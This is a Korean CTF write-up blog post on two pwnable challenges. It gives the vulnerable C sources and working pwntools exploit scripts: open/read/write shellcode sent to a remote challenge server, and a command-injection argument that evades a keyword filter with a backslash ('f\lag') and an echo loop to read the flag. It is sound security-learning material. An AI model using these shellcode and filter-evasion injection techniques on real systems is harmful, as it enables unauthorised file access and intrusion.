Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[POXX 2022 본선] Write-up? 본문

Hack/CTF

[POXX 2022 본선] Write-up?

CIDY 2023. 2. 28. 23:50

어쩌다가 POX본선까지 가서 어쩌다가 1등까지 해버렸다. 1등할 줄 알았으면 팀 이름 좀 멋있게 지을걸

팀에서 포너블 담당이라 포너블 문제만 봤는데, 예선때는 괜찮은 문제가 별로 없었는데 본선에서는 그래도 나름 배워갈 게 조금 있었다.

그래서 잊기전에 정리해둘 겸 글을 써본다.. 모든 포너블 문제를 정리한 것은 아니고, 좋은 문제만 선별한 것도 아니고, 그냥 개인적으로 배울 부분이 있었던 것만 정리한 것이다.

exploitMe

// Compile: gcc -o excuseme excuseme.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void excuse_me() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  
  init();
  memset(shellcode, 0, 0x1000);
  
  printf("Excuse me, Exploit me :>");
  read(0, shellcode, 0x1000);
  excuse_me();
  
  sc = (void *)shellcode;
  sc();
}

흔한 orw쉘코딩 문제였다. shellcraft로 open -> read -> write해주면 되는데, 문제는 flag의 경로를 모른다는 데 있다. 해당 경로를 알아내기 위해서는 다음과 같이 하면 된다.

from pwn import *

context(arch="amd64", log_level = 'DEBUG')
p = remote("43.201.142.219", 49180)

payload = b''
#payload += asm('mov rsp, QWORD PTR fs:[0]')
payload += asm(shellcraft.openat(0, '/home/ctf/flag'))
payload += asm(shellcraft.read(3, 'rsp', 0x500))
payload += asm(shellcraft.write(1, 'rsp', 0x500))

p.sendline(payload)
p.interactive()

위 코드에서 주석 부분을 해제한 다음, log_level을 DEBUG로 맞추고, .부터 (payload += asm(shellcraft.open('.'))) 시작해서 payload를 보내면 주고받는 데이터들 사이에서 경로를 찾을 수 있다. (해당 디렉토리에 있는 디렉토리나 파일들을 출력해준다.) 그렇게 flag까지 도달하는 경로를 찾을 때 까지 파일 경로를 하나씩 늘려가면서 시도하면 된다.

Save Files

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char* envp[]){
	setuid(0);

	printf("Warning! Your computer is under attack!\n");
	printf("Enter the correct answers or your files will be infected!\n");

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['4'],"\xAA")) return 0;
	if(strcmp(argv['B'],"\xBE\xDB\xED")) return 0;
	printf("Step 1 clear!\n");
	
	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x11\x22\x33\x44", 4)) return 0;
	printf("Step 2 clear!\n");
	
	// filter
	delete_env();
	putenv("PATH=/p0xpro0b1@m");
	if(filter(argv[1])) {
	   printf("Oh... Your files are all infected... :(\n");
	   return 0;
	}
	printf("Step 3 clear!\n");
	system(argv[1]);	
	return 0;
}

여기서는 두 가지 정도 배워갈 게 있었다. 우선 pwntools에서 argument전달 방법이다. argc가 100개나 되어야 하므로 직접 전달해줄 수는 없는 노릇이다.

from pwn import *

p1 = ssh("chall", "43.201.142.219", port=49252, password="poxpox")

argv1 = ["" for i in range(100)]
argv1[0] = b"./chall"
argv1[1] = "while read line; do echo $line; done < f\lag "
argv1[52] = b"\xAA"
argv1[66] = b"\xBE\xDB\xED"

p = p1.process(executable="/home/chall/chall", argv=argv1)

p.sendline(b"\x11\x22\x33\x44")

p.interactive()

위와 같이 해서 argv를 전달해줄 수 있다. ["" for i in range(100)] 하면 알아서 argc = 100으로 세팅된다. 다만 [0]을 따로 설정하지 않으면 빈 것으로 처리되어서, [0]도 설정해줘야 하는 부분을 유의해야 한다.

저렇게 argv를 만든 다음, process에 argv=으로 전달해주면 된다.

그리고 이게 또 한 가지 문제가 cat을 포함해서 거의 모든 파일 읽기 명령어가 막혀있었다.

하지만 저번에 cykor에서 했던 ctf때도 그렇고, 모든 읽기 명령어가 막혀도 echo명령어는 대부분 살아있다.
따라서 위와 같이 while문을 구성해 echo로 flag를 읽어올 수 있다. 그리고 명령어 칠 때 \ 문자는 아예 무시되니까 저렇게 필터링은 간단히 우회할 수 있다.

'Hack > CTF' 카테고리의 다른 글

[TAMU CTF 2023] Write up  (2) 2023.05.08
[Midnight Sun CTF 2023] MemeControl  (0) 2023.04.09
[LACTF 2023] stuff  (4) 2023.02.15
[MHSCTF 2023] Feb. 5 — Rescue Mission  (0) 2023.02.15
[MHSCTF 2023] Feb. 1 — Balloons  (0) 2023.02.15